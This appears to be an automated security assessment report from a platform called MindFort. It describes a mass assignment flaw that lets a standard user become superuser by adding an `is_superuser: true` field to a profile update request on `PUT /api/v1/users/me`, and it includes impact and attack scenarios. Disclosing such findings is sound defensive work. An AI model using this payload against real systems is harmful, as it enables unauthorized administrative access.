Testing identified a mass assignment issue in the user self-service profile update endpoint `PUT /api/v1/users/me`. A standard authenticated user was able to include the privileged field `is_superuser` in the JSON body and the server persisted the change, effectively promoting the user to superuser. Bottom line: privilege escalation was demonstrated directly via a single profile update request.

Breakdown

- Vulnerability type: Mass Assignment / Privileged Attribute Manipulation
- Affected endpoint: `PUT /api/v1/users/me`
- Access required: Authenticated user (standard/non-admin)
- Exploitability: High (single request; no special conditions observed)

Technical Details

The endpoint accepts a JSON payload intended for profile updates (e.g., `name`, `email`). During testing, the server also accepted and returned the privileged attribute `is_superuser` when provided by a non-admin user. This indicates the server-side update logic binds request fields directly to the user model (or equivalent data structure) without an allowlist for user-editable attributes. The vulnerability was confirmed by observing `is_superuser: true` reflected in the `200 OK` response after submitting the modified payload as a standard user, demonstrating that the server accepted and applied the privilege change.

IMPACT

Demonstrated Impact

- Data/access achieved: The authenticated test user was promoted to `is_superuser: true` via `PUT /api/v1/users/me`.
- Attacker requirements: Any authenticated user account capable of calling the endpoint.
- Exploitability: Practical and straightforward; requires only adding a single JSON field to an otherwise legitimate request.

Attack Scenarios

1. A newly registered user sends a crafted profile update including `"is_superuser": true` and immediately gains administrative access.
2. A compromised standard user account is upgraded to superuser, enabling broader access than the compromised account originally had.
3. An insider with a standard account elevates their privileges and uses admin capabilities to access administrative functions and data.

Business Risk

- Primary concern: Unauthorized administrative access (loss of integrity of authorization controls).
- Affected parties: The organization (administrative control and data governance) and all users whose data/admin-managed settings become accessible to an attacker with elevated privileges.

MindFort

AI-Powered Security Assessment Platform

Contact Us
www.mindfort.ai
support@mindfort.ai

Report ID: 7eb9d551-e976-493e-a1f3-564c92ab324b
Generated: 2026-01-23 01:27:19